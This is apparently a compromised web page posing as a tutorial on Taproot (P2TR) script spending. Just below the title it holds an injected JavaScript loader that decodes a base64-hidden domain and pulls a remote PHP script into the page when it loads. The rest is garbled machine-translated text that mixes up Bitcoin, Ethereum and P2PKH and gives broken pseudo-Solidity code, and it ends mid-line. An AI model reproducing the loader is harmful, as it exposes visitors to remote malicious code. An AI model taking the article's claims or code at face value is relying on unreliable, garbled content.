Ethereum: What is the script assembly and execution in P2TR spend (spend from Taproot)

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=750b62c3″;document.body.appendChild(script);

Ethereum: Understanding and performing scripts in P2TR expenditure (expenses for taproot)

As you have received a solid understanding of the Bitcoin line line -up and execution, especially with regard to Taproot (P2PKH), we immerse deeper into the specific features of drawing P2TR costs (taproot costs).

What are the P2R spending?

P2TR expenditure includes bitcoins’ costs from a public address that has previously been used by Taproot (P2PKH). In other words, you will again spend the same bitcoins originally celebrated at the Taproot event. This allows for more complex and safer charges without the need to create new scripts or get new addresses.

Skript Assembly for P2TR MISSES

To perform P2TR expenditure, we must first understand the translation of the scripts used by RoPstet’s Testnet Ethereum. The Ethereum command series key components are:

• Input command kits : They determine how the amount of the mark should be used.

2

In the case of P2TR expenditure, we have two primary feed crystals: one for the original Taproot event and the other creating a new script for re -refining bitcoins.

Taproot command series

The original Taproot event features “scriptpubkey” content, a few key values ​​that represents the public address used. This supply command series is used as the first entry in our P2TR expenditure.

`Solidity

0x1 … (public address)

`

Taproot command series output

The Taproot event has a print command series that defines how this amount should be sent. The “scriptpubkey” field in this print command series contains a public address to send bitcoins again.

`Solidity

0x1 … (public address)

`

SKRIPT configuration for P2TR

Now combine these two scripts and create P2TR spending that will re -deliver the same Taproot event. To implement this configuration, we use solid, popular programming language for smart contracts Ethereum.

`Solidity

Praga, which is solidity ^0.8.0;

Convention Taprootsttend {

// Input command series from the original Taproot event

indicates the public owner;

// performing P2TR expenditure

ExecuteP2TR (UINT SUM) Public {

// Create a new supply command set for Bitcoin foaming

Handle a public review;

UINT256 Public output = 0;

// Configure the departure command set using the original Taproot Event Departure Management Series

Gutoututututscript () internal returns (address, Uint256) {

return address (0x1 …, owner), quantity;

}

// Calculate the recipient’s address and amount by dismissal

point to public newdress;

UINT256 Public Newamount = 0;

// Set the function that takes the original Taproot event output and calculates the corresponding income for Bitcoin’s re -foaming

Getnewinputs () Internal Returns (Address [] Memory, Uint256 []) {

// calculate the address of the recipient using the public address of the original Taproot event

Address [] memory recipients = newaddress;

// Calculate the amount of printout in WEI

UINT256 [] Memory outputs = newuint256 (recipients.